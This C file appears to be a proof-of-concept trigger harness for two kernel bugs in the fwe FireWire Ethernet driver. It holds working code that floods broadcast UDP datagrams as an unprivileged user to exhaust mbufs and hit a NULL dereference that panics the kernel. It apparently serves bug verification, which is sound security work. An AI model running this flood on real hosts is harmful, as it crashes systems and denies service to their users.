DF-4763 / fwe_trigger.c
/* * fwe_trigger.c - trigger harness for DF-4762 / DF-4763 (sys/dev/netif/fwe/if_fwe.c) * * DF-4763 (M_PREPEND NULL-deref, if_fwe.c:506-511): * Unprivileged TX flood on fwe0 drives fwe_as_output()'s * M_PREPEND(m, ETHER_ALIGN, M_NOWAIT). Under mbuf exhaustion the macro * frees the chain and returns NULL; the unconditional * `m->m_pkthdr.len' deref panics the kernel. * * DF-4762 (fwe_stop RX teardown race, if_fwe.c:258-281 vs 544-591): * While a FireWire peer streams isochronous traffic, an admin running * `ifconfig fwe0 down' (or driver detach) makes fwe_stop() kfree() * xferq->bulkxfer and m_freem() its mbufs while a concurrent * fwohci_rbuf_update()/blocked fwe_as_input() still manipulates / * walks those chunks (no common lock: rbuf_update runs with only * crit_enter(); fwe_as_input takes the serializer *inside*). * * This harness performs the unprivileged half (TX flood + device probe). * The DF-4762 root half is in run.sh (`ifconfig fwe0 down' loop while a * peer streams on stream channel hw.firewire.fwe.stream_ch=1). * * Build: cc -O -o fwe_trigger fwe_trigger.c * Exit: 0 flood completed, 2 fwe0 absent (not testable on this host), * 1 other error. */ #include <sys/types.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> int main(int argc, char **argv) { const char *ifname = (argc > 1) ? argv[1] : "fwe0"; unsigned int ifidx; struct sockaddr_in dst; char buf[1400]; int s, i, n, on = 1; ifidx = if_nametoindex(ifname); if (ifidx == 0) { printf("[!] interface %s not present on this host (%s)\n", ifname, strerror(errno)); printf("[!] fwe0 attaches only as a child of an OHCI-1394 " "FireWire controller (fwohci). This host exposes no " "such PCI device, so neither DF-4762 nor DF-4763 is " "runtime-testable here.\n"); return (2); } printf("[+] %s present (ifindex %u); flooding TX to stress " "fwe_as_output()/M_PREPEND\n", ifname, ifidx); s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return (1); } if (setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0) { perror("setsockopt(SO_BROADCAST)"); return (1); } memset(buf, 0x5a, sizeof(buf)); memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(9); /* discard */ dst.sin_addr.s_addr = htonl(0xffffffff); /* 255.255.255.255 */ for (i = 0; i < 100000; i++) { n = sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)); if (n < 0) { perror("sendto"); break; } } printf("[+] sent %d datagrams\n", i); return (0); } |